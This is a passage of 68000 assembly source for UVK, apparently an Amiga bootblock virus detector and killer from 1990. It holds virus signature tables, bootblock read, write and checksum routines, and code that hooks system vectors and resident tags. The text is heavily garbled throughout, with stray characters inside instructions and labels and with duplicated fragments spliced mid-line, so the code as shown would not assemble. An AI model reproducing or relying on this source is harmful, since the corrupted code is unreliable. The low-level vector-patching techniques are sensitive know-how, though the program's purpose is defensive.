Pointer",$a,-1 MCool: dc.b " Modify the CoolCapture vector",$a,-1 MCold: dc.b " Modify the ColdCapture vector",$a,-1 MDoIo: dc.b " Modify the DoIO vector",$a,-1 MEInt: dc.b " Modify the ExecBase Interrupt vector",$a,-1 MoTClr: dc.b " BW2v% Clear ",-1 UseIoC: dc.b " Use IO Command",-1 IoBuf: dc.b " Buffer : $",-1 IoLen: dc.b " Lenght : $",-1 IoOff: dc.b " Offset : $",-1 ReseIo: dc.b " (Reset)",$a,-1 ReadIo: dc.b " (Read)",$a,-1 WritIo: dc.b " (Write)",$a,-1 UpdaIo: dc.b " (Update)",$a,-1 MotoIo: dc.b " (Motor)",$a,-1 FormIo: dc.b " (Format)",$a,-1 DiskIo: dc.b " (ChangeState)",$a,-1 ProtIo: dc.b " (ProtStatus)",$a,-1 RemoIo: dc.b " (Remove)",$a,-1 SeekIo: dc.b " (Seek)",$a,-1 CleaIo: dc.b " (Clear)",$a,-1 ChanCXSIo: dc.b " (ChangeNum)",$a,-1 BootCod1:dc.b " + The bootblock is perhaps crypted",$a,-1 BootCod2:dc.b " + The bootblock is surely crypted",$a,-1 LenAB: dc.b " + Length : 0000",$a,-1 AnaMemT:dc.b " + About the memory ...",$a,-1 AnaDskT:dc.b " + About the disk ...",$a,-1 BBVir1: dc.b $a," WARNING !!! This bootblock may be a virus ! ",$a,-1 BBVir2: dc.b $a," WARNING !!! This bootblock is surely a virus ! ",$a,-1 BBLoa: dc.b $a," This Bootblock is certainly a loader ...",$a,-1 InfoTxt: dDYc.b "UVK recognizes the following viruses :",$a,$a dc.b "SCA (AEK/LSD/BS1), Byte Bandit (Forpib), Byte Warrior (DASA),",$a dc.b "Pentagon Circle, Lamer Exterminator 1-4, Northstar 1-2, VKill,",$a dc.b "Disk-Doktors, Gadaffi, Revenge V1.2, HCS 1-2, Claas Abraham,",$a dc.b "Obelisk, Noname (Icognito), GxTeam, Termigator, IRQ (Ram),",$a dc.b "BGS9 (Ram), Revenge of the lamer (Ram).",$a dc.b -1 KillT: dc.b "---------- WARNING !!! ----------",$a,$a dc.b "A virus was detected in SourcEZe drive.",$a,$a dc.b "Hit the LEFT mouse button to KILL it.",$a dc.b "Hit the RIGHT one to EXIT.",$a,$a dc.b "-------------------------------------" dc.b -1 even DosBase:dc.l 0 GfxBase:dc.l 0 WindowHd:dc.l 0 WindowHd2:dc.l 0 ScreenHd:dc.l 0 RastPort:dc.l 0 RastPort2:dc.l 0 DriveC: dc.l 0 ;drives connected TimeSta:dc.l 0 WbMsg: dc.l 0 Color: dc.l 0 Drs: dc.l 0 Drd: dc.l 0 Sleep: dc.l 0 Buffer: dc.l 0 Drive0: dc.l 0 Drive1: dc.l 0 Drive2: dc.l 0 Drive3: dc.l 0 LastX: dc.w 0 LasFJKtY: dc.w 0 VirDia: dc.b 0 ;analyse LoaDia: dc.b 0 LenBoot:dc.w 0 EndFlag:dc.b 1 TimeFlag:dc.b 1 RetFlag:dc.b 0 MRiFlag:dc.b 1 RastFlag:dc.b 0 LastKey:dc.b 0 even ScrBuf: blk.b 1042,-1 ;Buffer display Data: blk.b 6992,0 Data2: blk.b 1368,0 Prefs: blk.b 232,0 OPrefs: blk.b 232,0 Try1: dc.l 0 Try2: dc.l 0 Try3: dc.l 0 Try4: dc.l 0 ,",$a dc.b "BGS9 (Ram), Revenge of the lamer (Ram).",$a dc.b -1 KillT: dc.b "---------- WARNING !!! ----------",$a,$a dc.b "A virus was detected in Sourc\^2#tchWord dc.l Resid ;MatchTag dc.l Resid+$20 ;EndSkip dc.b $01 ;Flags dc.b $21 ;Version dc.b $00 ;Type dc.b $F6 ;Pri dc.l Name ;Name dc.l 0 Adr: dc.l 0 Name: dc.b "UVK Boot Selector",0 Prg: move.b $dff006,$dff180 btst #6,$bfe001 bne.s Prg rts move.l $4,a6 lea OOpenD(pc),a0 move.l -444(a6),(a0) lea NOpenD(pc),a0 move.l a0,d0 bsr.s SetFunc rts NOpenD: movem.l d1-d7/a0-a6,-(a7) lea OOpenD(pc),a0 move.l (a0),d0 bsr.s SetFunc cmp.b #"t",(a0) bne.s Err csmp.b #"r",1(a0) bne.s Err cmp.b #"a",2(a0) bne.s Err lea Drive(pc),a0 move.l (a0),d0 Err: movem.l (a7)+,a0-a6/d1-d7 dc.w $4ef9 OOpenD: dc.l 0 SetFunc:move.l 4,a6 move.l a6,a1 ;lib move.l #-444,a0 ;offset jsr -420(a6) ;Setfunc rts Drive: dc.l 1 EndPrg: d0 move.l d0,Struct+4 NoResid:move.l #Struct,550(a6) ;KickTagPtr jsr -612(a6) ;KickSumData move.l d0,554(a6) ;KickTagSum ; move.l #$fc00d2,$80 ; trap #0 Err0: rts Struct: dc.l Resid dc.l $0000000 Resid: dc.w $4afc ;Ma2e offset jsr -420(a6) ;Setfunc rts Drive: dc.l 0 I6 bsel2.SJU:tchWord dc.l Resid ;MatchTag dc.l Resid+$20 ;EndSkip dc.b $01 ;Flags dc.b $21 ;Version dc.b $00 ;Type dc.b $F6 ;Pri dc.l Name ;Name dc.l 0 Adr: dc.l 0 Name: dc.b "UVK Boot Selector",0 Prg: move.l $4,a6 lea OOpenD(pc),a0 move.l -444(a6),(a0) lea NOpenD(pc),a0 move.l a0,d0 bsr.s SetFunc rts NOpenD: movem.l d1-d7/a0-a6,-(a7) lea OOpenD(pc),a0 move.l (a0),d0 bsr.s SetFunc cmp.b #"t",(a0) bne.s Err cmp.b #"r",1(a0) bne.s Err cmp.b #"a",2(a0) bne.s Err leaLaG1 ;lib move.l #-444,a0 ;offset jsr -420(a6) ;Setfunc rts Drive: dc.l 1 I6UVKp6a~TK,GxTeam dc.l 550,$3f4,$203c1113,$94,NNamK,NoName dc.l 46,$2f6,$08390003,$ce,0,Term dc.l 550,$1216,$237c0121,$100,0,LamerR dc.l 46,$78,$ec24661c,$14,0,HCS,0 AnaList:;dc.l $226,MKTagP,$fd9c,MKSum,$222,MKMemP,46,MCool ;dc.l 42,MCold,-454,MDoIo,148,MEInt,0 AdrModL:dc.l $2d48,$2d48,-2,$2d50,$2d50,-2,$ffff,$2d7c,-6 dc.l $ffff,$2d79,-6,$ffff,$2d7a,-4,$ffff,$42ae,-2,0 InsList:;dc.l "1",NormB,"2",ProtB,"4",NoFMB,"5",NoDrB,"6",NoLoB ;dc.l "7",IrqPB,"8",NoBoB,0 IoList: ;dc.l 1,ReseIo,27b:!gI,ReadIo,3,WritIo,4,UpdaIo,9,motoIo,10,formIo ;dc.l 14,DiskIo,15,ProtIo,5,CleaIo,11,RemoIo,12,SeekIo ;dc.l 13,ChanIo,0 IoParl: ;dc.l $28,IoBuf,$24,IoLen,$2c,IoOff,0 ExcExb: dc.l -550,-448,-442,-436,-412,-400,-196,0 CodBL: dc.w $ffc0,$0a00,$ffc0,$0a40,$ffc0,$0a80 ;eori.b/w/l dc.w $f1c0,$b100,$f1c0,$b140,$f1c0,$b180,0 ;eor.b/w/l NoExpan:dc.b "No Expansion Memory Boot",-1 Girl: dc.b "Bootgirl Boot",-1 Mem12: dc.b "Memory Controller 1.2",-1 ASS: dc.b "ASS Protector 1.0",-1 Random: dc.8c b "Random Access Boot",-1 NoFast: dc.b "NoFastMem Boot",-1 Mem13: dc.b "Memory Controller 1.3",-1 XCopy: dc.b "XCopy 2.0 Boot",-1 Sys30: dc.b "PvL Antivirus 3.0",-1 sys40: dc.b "PvL Antivirus 4.0",-1 Sys50: dc.b "PvL Antivirus 5.0",-1 Sys51: dc.b "PvL Antivirus 5.1",-1 Sys53: dc.b "PvL Antivirus 5.3",-1 Sys54: dc.b "PvL Antivirus 5.4",-1 Sys61: dc.b "PvL Antivirus 6.1",-1 Sys64: dc.b "PvL Antivirus 6.4",-1 PvlSnd: dc.b "PvL Sound Boot",-1 Norm: dc.b "Normal DOS Boot",-1 NotIns: dc.b 9d$I"Not Installed Disk",-1 Kick: dc.b "Kickstart Disk",-1 GxTNF: dc.b "Gx Team NoFastMem",-1 BotCop: dc.b "Invisible Brain Bootcopy",-1 Avirex: dc.b "Avirex Boot",-1 VirTer: dc.b "Virus Terminator V1.0",-1 PalSys: dc.b "PAL Window System",-1 VirSla: dc.b "Virus Slayer 1.0",-1 VDC: dc.b "Virus Detector Cleaner 1.3",-1 VDC16: dc.b "Virus Dectector Cleaner V1.6",-1 MegaB: dc.b "Mega-boot 1.30",-1 MegaK: dc.b "Mega Killer",-1 Synd: dc.b "Syndicate Sinister",-1 Destr: dc.b "Destructor",-1 Di:e&et: dc.b "Dietmar Virus Detector",-1 Obse: dc.b "Dimarz Observer",-1 Deluxe: dc.b "Deluxe Boot",-1 Tritech:dc.b "Tritech Boot V1.0",-1 BootWr: dc.b "Writer Boot",-1 ColorB: dc.b "Color Boot",-1 UtilB2: dc.b "Utility Boot V2.0",-1 BlizP: dc.b "Blizzard Protector 1.0",-1 Mia: dc.b "MIA Disk Boot",-1 AddrZ: dc.b "Zerovirus AutoAddRam Boot",-1 FastRZ: dc.b "Zerovirus NoFastMem Boot",-1 PalZ: dc.b "Zerovirus BigScreenTest Boot",-1 CCSB: dc.b "CCS 2.0 Boot",-1 CCS3: dc.b "CCS 3.0 Boot",-1 ;f]_DevW: dc.b "DevWare Antivirus",-1 ECSB: dc.b "ECS PAL Boot",-1 BootLeg:dc.b "BootLeg V2.1",-1,0 sca: dc.b "SCA (LSD/AEK/BS1)",-1 Ban: dc.b "Byte Bandit",-1 War: dc.b "Byte Warrior (DASA)",-1 Bla: dc.b "Northstar2",-1 Pen: dc.b "Pentagon Circle",-1 Lam: dc.b "Lamer Exterminator 1-4",-1 Dok: dc.b "Disk Doktors",-1 Irq: dc.b "Irq",-1 Gad: dc.b "Gadaffi",-1 HCS: dc.b "H.C.S 4220",-1 Hcs2: dc.b "H.C.S 4220 II",-1 Rev: dc.b "Revenge V1.2",-1 Nor: dc.b "Northstar",-1 Bgs9t: dc.b "BGS9",-1 <gaVKill: dc.b "VKill V1.0",-1 TimeB: dc.b "TimeBomb System",-1 Obe: dc.b "Obelisk",-1 GxTeam: dc.b "GxTeam",-1 Abra: dc.b "Claas Abraham",-1 NoName: dc.b "NoName",-1 Term: dc.b "Termigator",-1 LamerR: dc.b "Revenge of the Lamer",-1 Gar1: dc.b " Guardian V1.1",-1 Gar2: dc.b " Guardian V1.2",-1 Pseu: dc.b " Pseudo Ops Virus Killer 1.6",-1 Pseu2: dc.b " Pseudo Ops Virus Killer 2.0",-1 CodB: dc.b " Coder Board 4.0",-1 Rom70: dc.b " Romcrack 0.70",-1 Rom40: dc.b " Romcrack 0.40",-1 Rom73: =h*idc.b " Romcrack 0.73",-1 Pow2: dc.b " Power Utility 2.0",-1 ;Pow1: dc.b " Power Utility 1.0",-1 Atool: dc.b " Atool 2.0",-1 Pro3: dc.b " Protector III",-1 VCtrl: dc.b " Virus Control 1.3",-1 even KeyTab: dc.l $21,NextDrs,$22,NextDrd,$10,Reset,$1d,Check,$1e,Display dc.l $1f,Copy,$2d,Move,$2e,Install,$2f,Info,$20,Analyse dc.l $28,Link,$32,Special,$3d,End2,$27,Keys,$17,Amiguy dc.l $33,ChkSum dc.l 0 MousTab: dc.l $00,Check,$10,Display,$20,Copy,$01,Move,$11,Install,$21,Analyse dc.l >iRs$02,Link,$12,Special,$22,Info,$03,End2,$13,Dr0,$23,Dr2 dc.l 0,0 ClicTab:dc.l 1,0,0,95,0,1,0,0,0,10,1,1,0,0,10,3,2,11,95,0,3,96,1,0,10 dc.l 3,97,1,0,10,2,4,12,95,0,2,98,2,0,10,2,99,2,0,11 dc.l -1 GfxLib: dc.b "graphics.library",0 TrkDisk:dc.b "trackdisk.device",0 TitleWnd:dc.b "UVK 2.0",0 TitleWnd2:dc.b "UVK 2.1",0 ClrStat:dc.b " ",-1 DateTxt:dc.b "Version 2.0 (10th of June 1990). ",-1 DskPro: dc.b "Disk is write protected. ",-1 N?jIH oDsk: dc.b "No disk in drive. ",-1 NoFnd: dc.b "File not found. ",-1 ReadErr:dc.b "Read error ! ",-1 WriErr: dc.b "Write error ! ",-1 AvailT: dc.b "Not available now. Please wait ... ",-1 NotCDr: dc.b "This drive is not connected ! ",-1 UnkT: dc.b "Nothing suspect ... ",-1 OkCopT: dc.b "Bootblock copied. ",-1 SouT: dc.b "Insert Source in DFx: ",-1 @Ud]DesT: dc.b "Insert Destination in DFx: ",-1 ChkCor: dc.b "Checksum corrected. ",-1 ChkCal: dc.b "Calculating new checksum ... ",-1 ChkSav: dc.b "Saving the bootblock ... ",-1 ChkRd: dc.b "Reading the bootblock ... ",-1 VirKil: dc.b "Virus killed. ",-1 DrivT: dc.b "DF0:",-1 RetT: dc.b "Press to continue",-1 Return: dc.b $a,-1 Detect: dc.b " detected",-1 AnalT: dc.b $c,$a," Analysing the Bootblock...",+lt#1,$bfe001 rts Clrram: move.l 4,a6 clr.l 42(a6) clr.l 46(a6) lea 34(a6),a0 clr.w d0 moveq #23,d1 ;#22 CoolLp2:add.w (a0)+,d0 dbf d1,CoolLp2 not.w d0 move.w d0,(a0) ;,82(a6) clr.l 546(a6) clr.l 550(a6) jsr -612(a6) move.l d0,554(a6) rts TestPal:move.l 4,a6 cmp.l #$3c,530(a6) beq.s Rset rts Rset: move.l $fc0004,$80 trap #0 rts NoFMem: move.l 4,a6 move.l #$20004,d1 OkAlM: jsr -216(a6) tst.l d0 beq.s OkAvM jsr -198(a6) tst.l d0 bne.s OkAlM OkAvM: rts NoEDr: ,mO@P&move.l 4,a6 lea DiskRes(pc),a1 jsr -498(a6) tst.l d0 beq.s ErrNdr move.l d0,a0 lea 52(a0),a0 moveq #-1,d0 move.l d0,(a0)+ move.l d0,(a0)+ move.l d0,(a0) bra.s ErrNDr DiskRes:dc.b "disk.resource",0 even ErrNDr: rts MakePal:lea Intuition(pc),a1 move.l 4,a6 clr.l d0 jsr -408(a6) lea Intbase(pc),a0 move.l d0,(a0) beq.s ErrMaP move.l d0,a0 lea OldOpW,a1 move.l -202(a0),(a1) move.l 4,a6 move.l #$10003,d1 move.l #ENewOpW-NewOpW,d0 jsr -198(a6) move.l d0,a1 beq.s -n}C^ErrMaP move.l #ENewOpW-NewOpW,d1 CopyLp2:move.b (a0)+,(a1)+ dbf d1,CopyLp2 bsr.s SetFunc lea Intbase(pc),a0 move.l (a0),a1 jsr -414(a6) ErrMaP: rts NewOpW: movem.l d0-d7/a1-a6,-(a7) move.l a0,-(a7) lea OldOpW(pc),a0 move.l (a0),d0 bsr.s SetFunc move.l (a7)+,a0 move.w #256,6(a0) lea TextMP(pc),a1 movem.l (a7)+,d0-d7/a1-a6 dc.w $4ef9 OldOpW: dc.l 0 Intuition:dc.b "intuition.library",0 even TextMP: dc.b "AmigaDos" blk.b 12,0 IntBase:dc.l 0 SetFunc:move.l 4,a6 lea Intbas.oe,a0 move.l (a0),a1 move.l #-204,a0 jsr -420(a6) rts ENewOpW: BootList:dc.l $0c,$41fa0196,$0c506f6d,CCSB dc.l $64,$5c9e004a,$b0a0829c,NoExpan dc.l $20,$428741fa,$ffe8b1fc,Mem12 dc.l $40,$0009001c,$4eaefe38,Girl dc.l $50,$48e7fffe,$337c0009,Ass dc.l $60,$02c000df,$f18033fc,Sys30 dc.l $60,$0f9000df,$f18033fc,Sys40 dc.l $398,$802c332e,$3020802c,Sys50 dc.l $6c,$0226671a,$0cae0007,Sys51 dc.l $1b0,$000000f0,$00f00000,Sys53 dc.l $1b0,$0eca00f0,$00f00eca,Sys54 dc.l $78,$2/p@7hc780004,$42ae002e,Sys61 dc.l $1b0,$0ca90000,$04000024,Sys64 dc.l $0C,$43FA00F4,$4EAEFFA0,NoFast dc.l $0c,$0c6e0020,$00146f00,Random dc.l $0c,$43fa0136,$70004eae,XCopy dc.l $20,$42862a3c,$0027f000,Mem13 dc.l $14,$48e7fffe,$237c0005,GxTNF dc.l $18,$00804e40,$46fc2700,BotCop dc.l $10,$4eba0036,$4cdf7fff,Avirex dc.l $14,$0004202e,$02260c80,VirTer dc.l $18,$000a0016,$66000036,VDC dc.l $18,$000a0016,$662e6120,VDC16 dc.l $02,$4b49,$0,Kick dc.l $10,$0,$0,NotIns dc.l $0c,$2c780ql0004,$41fa00b2,BootLeg dc.l $48,$00ff20d9,$51cffffc,PalSys dc.l $150,$feb043f9,$007fa00,VirSla dc.l $60,$43fa00bc,$4eaefe68,MegaK dc.l $30,$3b7c0f00,$01806000,MegaB dc.l $20,$2c790000,$00044eae,Diet dc.l $10,$0c6e0020,$00146f00,Synd dc.l $10,$027a6704,$4eec0014,Obse dc.l $30,$00326618,$4aae0226,Destr dc.l $34,$223c0001,$0002203c,Deluxe dc.l $40,$23c900df,$f08033c0,PvlSnd dc.l $6a,$48e7fffe,$42b90000,Tritech dc.l $1e,$2c562c56,$23ce0006,UtilB2 dc.l $34,$33fc8380,$00dff0961ri;Y,BootWr dc.l $18,$41f900df,$f000317c,ColorB dc.l $3a,$3e3c00f0,$202e002e,BlizP dc.l $40,$70ff4640,$48404600,Mia dc.l $40,$207a001a,$227a001a,AddRZ dc.l $40,$43fa00da,$4eaefe68,FastRZ dc.l $50,$2c780004,$4eaefe62,PalZ dc.l $20,$0c6e0008,$003e6606,CCS3 dc.l $30,$51c8fffc,$45ed0542,DevW dc.l $20,$427900df,$f1dc4e75,EcsB dc.l $0c,$43fa0018,$4eaeffa0,Norm,0 VirList:dc.l $ca,$2d790007,$efdefe3a,SCA dc.l $4c,$48e77f7f,$2c780004,Ban dc.l $c0,$44415341,$3081323c,War dc.l $18,$41f2s5V[affe6,$43f90007,Pen dc.l $0c,$2c790000,$00044eae,Dok dc.l $48,$6d026022,$41faffb2,Nor dc.l $48,$41faffb6,$43f90007,Bla dc.l $42,$343c0352,$d310b118,Lam ;lamer2 dc.l $42,$45fa0369,$1012b118,Lam ;'lamer' dc.l $42,$45fa0365,$1012b118,Lam ;'lamer4' dc.l $1a,$123a03d3,$343c03c4,Lam ;lamer3 dc.l $d8,$0007ff14,$61000008,Gad dc.l $10,$432e0007,$ec24661c,Hcs dc.l $38,$45faffc6,$226e003a,VKill dc.l $20,$4ef90007,$00260639,TimeB dc.l $20,$303c00ff,$22d851c8,Obe dc.l $10,$432e0007,3tj$ec24661c,HCS dc.l $10,$432e0007,$ec246618,HCS2 dc.l $38,$4afc0007,$f5000007,GxTeam dc.l $60,$12d851c8,$fffc91fc,Abra dc.l $94,$203c1113,$d4c0e598,NoName dc.l $ce,$08390003,$00bfe001,Term dc.l $18,$ffe843f9,$0007e000,Rev,0 ProList:dc.l 550,0018,"Guar",Gar2 dc.l 550,-172,"Guar",Gar1 dc.l 550,$bb8,"PS V",Pseu dc.l 550,$498,"oder",CodB dc.l 550,$022,"ROMC",Rom70 dc.l 042,$f36,"ROMC",Rom40 dc.l 550,$236,"III ",Pro3 dc.l 550,$d4e,"2.0 ",Pseu2 dc.l 046,$700,"IRUS",VCtrl dc.l4u\s 550,$c98,"Y V2",Pow2 dc.l 550,$068,"0.73",Rom73 dc.l 046,$d4e,"miga",ATool dc.l 550,-172,"3.0 ",Sys30 dc.l 550,-172,"4.0 ",Sys40 dc.l 550,-176,"5.0 ",Sys50 dc.l 550,-176,"5.1 ",Sys51 dc.l 550,-142,"V5.3",Sys53 dc.l 550,-142,"V5.4",Sys54 dc.l 550,-130,"V6.1",Sys61 dc.l 550,-986,"V6.4",Sys64,0 RamList:dc.l 46,$3e,$41fafff2,$c,0,SCA dc.l 550,$3e2,$48e77f7f,$4c,BanK,Ban dc.l 550,$14c,"DASA",192,0,War dc.l 46,$4c,$41faffe6,$18,0,Pen dc.l 550,$3b8,$790048e7,$30,Lam2k,Lam dc5`I.l 550,$406,$226e003a,$2a,Lam3k,Lam dc.l 550,$3be,$45fa0369,$42,Lam1k,Lam dc.l 550,$3ba,$45fa0365,$42,Lam4k,Lam dc.l 46,$272,$2c790000,$c,Dokk,Dok dc.l 46,220,$0007ff14,$d8,Gadk,Gad dc.l 46,$e,$6d026022,$48,0,Nor dc.l 46,$e,$41faffb6,$48,0,Bla dc.l 46,$60,$ffe843f9,$18,Revk,Rev dc.l 46,$6c,$d05951c9,$60,0,Obe dc.l 46,$82,$26497000,$40,0,VKill dc.l 550,$0,$fffffffe,$5b2,0,Bgs9t dc.l 46,$64,$ec246618,$14,0,HCS2 dc.l 46,$c2,$12d851c8,$60,0,Abra dc.l 46,$31c,$4afc0007,$38,Gx wiGfxWinC rts Dr0: cmp.w #151,d7 bhi.s Driv1 bra.s Driv0 Dr2: cmp.w #251,d7 bhi.s Driv3 bra.s Driv2 Driv3: addq #1,d3 Driv2: addq #1,d3 Driv1: addq #1,d3 Driv0: lea DriveC,a0 tst.b 0(a0,d3.l) bne.s DrConOk lea NotCDr,a0 bsr.L Status clr.b TimeFlag rts DrConOk:lea DrivT+2,a3 move.l d3,d4 add.l #$30,d4 move.b d4,(a3) move.l d3,d4 mulu #50,d4 add.l #111,d4 move.l d4,d0 move.l #74,d1 lea DrivT,a0 tst.b MRiFlag beq.s PasRiM SetSDr: move.l #3,Color ;source bsr.L!xEcZ GfxWr2 move.l d3,Drs bra.s EChgDr PasRiM: cmp.l Drs,d3 beq.s ChgDrP move.l #1,Color ;destination bsr.L GfxWr2 ChgDrP: move.l d3,Drd move.b #1,MRiFlag EChgDr: rts ChkSum: lea SouT,a0 bsr.L Status bsr.L WaitRet lea ChkRd,a0 bsr.L Status bsr.L ReadTrk bne.s EndSum lea ChkCal,a0 bsr.L Status moveq #1,d1 bsr.L Wait move.l Buffer,a0 ;# Checksum Bootblock lea 4(a0),a1 clr.l (a1) move.w #$ff,d1 moveq #0,d0 ChkLp: add.l (a0)+,d0 bcc.s Carry addq.l #1,d0 Carry: dbf d1"yk,ChkLp not.l d0 move.l d0,(a1) ;# lea ChkSav,a0 bsr.L Status clr.b Timeflag move.l DrS,d4 bsr.L WriT EndSum: rts Keys: rts Amiguy: rts ; Routines disquettes Motor: move.l 4,a6 lea IoReq,a1 move.w #9,28(a1) clr.l 36(a1) jsr -456(a6) rts Drive: move.l 4,a6 lea IoReq,a1 move.w #14,28(a1) jsr -456(a6) lea IoReq,a1 tst.l 32(a1) beq.s EndDr lea NoDsk,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 EndDr: rts Protect:move.l 4,a6 lea IoReq,a1 move.w #15,28(a1) jsr -4#z; 56(a6) lea IoReq,a1 tst.l 32(a1) beq.s EndPro lea DskPro,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 EndPro: rts ReadTrk:move.l DrS,d4 ReadT: bsr.L SetUnit bsr.s Drive bne.s ERdTrk move.l 4,a6 lea IoReq,a1 move.w #2,28(a1) ;$1c command move.l #1024,36(a1) ;$24 len move.l Buffer,40(a1) ;$28 buffer move.l #0,44(a1) ;$2c offset jsr -456(a6) tst.l d0 bne.s RdTErr bsr.L Motor ERdTrk: rts RdTErr: lea ReadErr,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 bra.s ERdTr${|Dk WriTrk: move.l DrD,d4 WriT: bsr.L SetUnit bsr.L Drive bne.L EWrTrk bsr.L Protect bne.s EWrTrk move.l 4,a6 lea IoReq,a1 move.w #3,28(a1) ;$1c command move.l #1024,36(a1) ;$24 len move.l Buffer,40(a1) ;$28 buffer move.l #0,44(a1) ;$2c offset jsr -456(a6) tst.l d0 bne.s WrTErr move.w #4,28(a1) jsr -456(a6) tst.l d0 bne.s WrTErr bsr.L Motor EWrTrk: rts WrTErr: lea WriErr,a0 bsr.L Status clr.b TimeFlag moveq #1,d0 bra.s EWrTrk SetUnit:lea Drive0,a0 lsl.l #%|g62,d4 ;drive lea IoReq,a1 move.l 0(a0,d4.l),24(a1) rts ;SouRoutines Wait: mulu #50,d1 move.l Dosbase,a6 jsr -198(a6) ;Delay rts WbStrt: clr.l WbMsg ;# Wb Startup move.l 4,a6 sub.l a1,a1 ;current task jsr -294(a6) ;FindTask move.l d0,a4 tst.l 172(a4) ;pr_CLI bne.s fromcli lea 92(a4),a0 ;pr_MsgPort jsr -384(a6) ;WaitPort lea 92(a4),a0 ;pr_MsgPort jsr -372(a6) ;GetMsg move.l d0,WbMsg ;sauve Msg FromCli:rts WbOut: tst.l WbMsg beq.s EndCli move.l 4,a6 jsr -132(a6)&} ;Forpib move.l WbMsg,a1 jsr -378(a6) ;ReplyMsg EndCli: rts ;# Conv: move.l a0,-(a7) ; lea ConvTxt,a1 move.l a1,a0 moveq #7,d1 ClConLp:move.b #$30,(a1)+ dbf d1,ClConLp move.l #7,D1 ConLp: rol.l #4,D0 move.l D0,D2 and.b #15,D0 cmp.b #9,D0 ble.s ConCh addq.b #7,D0 ConCh: add.b #$30,D0 move.b D0,(A0)+ move.l D2,D0 dbra D1,ConLp move.l (a7)+,a0 rts Conv2: divu #1000,d0 ;a0/d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 divu #100,d0 add.b #$30,d0 move.b d0,(a'~n@0)+ clr.w d0 swap d0 divu #10,d0 add.b #$30,d0 move.b d0,(a0)+ clr.w d0 swap d0 add.b #$30,d0 move.b d0,(a0)+ rts BanK: rts Lam2K: rts Lam3K: rts Lam1K: rts Lam4K: rts DokK: rts gadK: rts RevK: rts GxTK: rts NNamK: rts Screen: dc.w 0 dc.w 0 dc.w 640 dc.w 256 dc.w 2 dc.b 0 dc.b 1 dc.w $8002 dc.w 15 dc.l 0 dc.l TitleScr dc.l 0 dc.l 0 TitleScr:dc.b "UVK 2.0",0 Border: dc.w 0 dc.w 0 dc.b 3 dc.b 0 dc.b 0 dc.b 5 dc.l Coor dc.l 0 Coor: dc.w -2,-2 dc.w 80,(`-2 dc.w 80,9 dc.w -2,9 dc.w -2,-2 TextW: dc.b 1,1 dc.b 0,0 dc.w 0,0 dc.l 0 dc.l TextWTxt dc.l 0 TextWTxt:dc.b "About",0 Window: dc.w 150 dc.w 50 dc.w 304 dc.w 92 dc.b 0 ;2 dc.b 1 dc.l $200 dc.l $100f dc.l 0 dc.l 0 dc.l TitleWnd Scr1: dc.l 0 dc.l 0 dc.w 304 dc.w 92 dc.w 304 dc.w 92 dc.w 15 Window2:dc.w 40 dc.w 5 dc.w 534 dc.w 149 dc.b 2 ;2 dc.b 2 dc.l $200 dc.l $100f dc.l 0 dc.l 0 dc.l TitleWnd2 Scr2: dc.l 0 dc.l 0 dc.w 304 dc.w 92 dc.w 304)[mM dc.w 92 dc.w 15 Image: dc.w 0,0 dc.w 304,92 dc.w 2 dc.l Data dc.b %00000011 dc.b %00000000 dc.l 0 Image2: dc.w 0,0 dc.w 304,18 dc.w 2 dc.l Data2 dc.b %00000011 dc.b %00000000 dc.l 0 DiskPort: dc.l 0 ;0 dc.l 0 ;4 dc.w $0400 ;8 dc.l 0 ;10 dc.b 0 ;14 dc.b 31 ;15 dc.l 0 ;16 lh1: dc.l lh2 ;20 lh2: dc.l 0 ;24 dc.l lh1 ;28 dc.b 0 ;32 dc.b 0 ;33 IoReq: dc.l 0 ;0 ln_Succ Struct Node Struct Msg dc.l 0 ;4 ln_Pred dc.b 5 ;8 ln_Type (Message) dc.b 0 ;9 ln_P*kFri dc.l 0 ;10 ln_Name dc.l 0 ;14 mn_ReplyPort Struct MsgPort dc.w 48 ;18 mn_Length dc.l 0 ;20 Struct Device dc.l 0 ;24 Io_Unit dc.w 0 ;28 Io_Cmd dc.w 0 ;30 Io_Flags dc.l 0 ;32 Io_Error dc.l 0 ;36 Io_Lenght dc.l 0 ;40 Io_Data dc.l 0 ;44 Io_Offset dc.l 0 dc.l 0 NormB: move.l 4,a6 lea DosLib(pc),a1 jsr -96(a6) tst.l d0 bne.s OkNorm moveq #-1,d0 bra.s ENorm DosLib: dc.b "dos.library",0 even OkNorm: move.l d0,a0 move.l 22(a0),a0 moveq #0,d0 ENorm: rts LedOff: bset Pl 12(a1),a0 moveq #6,d0 moveq #88,d1 clr.l Color bsr.L GfxWr2 lea Detect,a0 lsl.l #3,d0 addq #6,d0 moveq #88,d1 bsr.L GfxWr clr.b TimeFlag moveq #1,d0 rts NoBSpe: add.l #16,a1 tst.l (a1) bne.s BSpeLp EndCBoot:rts Display:bsr.L ReadTrk bne.S EndDisp moveq #0,d1 move.l Buffer,a0 lea ScrBuf,a1 lea 1024(a0),a2 ScrCT: move.b (a0),d0 cmp.b #$7f,d0 bhi.s nocar cmp.b #$20,d0 blo.s nocar move.b (a0),(a1)+ bra.s ContDi NoCar: move.b #$2e,(a1)+ ContDi: addq #1,a0 adkidq #1,d1 cmp.l #64,d1 bne.s No64 move.b #10,(a1)+ moveq #0,d1 No64: cmp.l a0,a2 bne.s scrct move.w #56,d0 move.w #25,d1 move.w #528,d2 move.w #136,d3 bsr.L GfxWinO lea ScrBuf,a0 moveq #10,d1 bsr.L GfxWr3 bsr.L WaitRet bsr.L GfxWinC EndDisp:rts Copy: lea SouT,a0 bsr.L Status bsr.L WaitRet bsr.L ReadTrk bne.s EndCop lea DesT,a0 bsr.L Status bsr.L WaitRet bsr.L WriTrk bne.s EndCop lea OkCopT,a0 bsr.L Status clr.b TimeFlag EndCop: rts Move: rts Install:rts A|nalyse:moveq #1,d7 clr.b VirDia clr.b LoaDia bsr.L ReadTrk beq.L AnaErr move.l #AnalT,d2 ; bsr.L ecrire2 move.l Buffer,a0 lea 1024(a0),a5 move.w #1024,d0 ;length boot ZeroLp: cmp.l a0,a5 beq.s ZeroBE tst.b (a0)+ beq.s ZeroF move.w #1025,d0 ZeroF: subq.w #1,d0 bra.s ZeroLp ZeroBE: move.w d0,LenBoot move.l #LenAB+12,a0 bsr.L conv2 move.l #LenAB,d2 ; bsr.L ecrire2 move.l Buffer,a0 tst.l 12(a0) beq.L OkBCod lea DosLib,a1 ;cherche chaine 'dos.lib' DoslLp: cmp.l a0,a5 ,_abeq.s codedb2 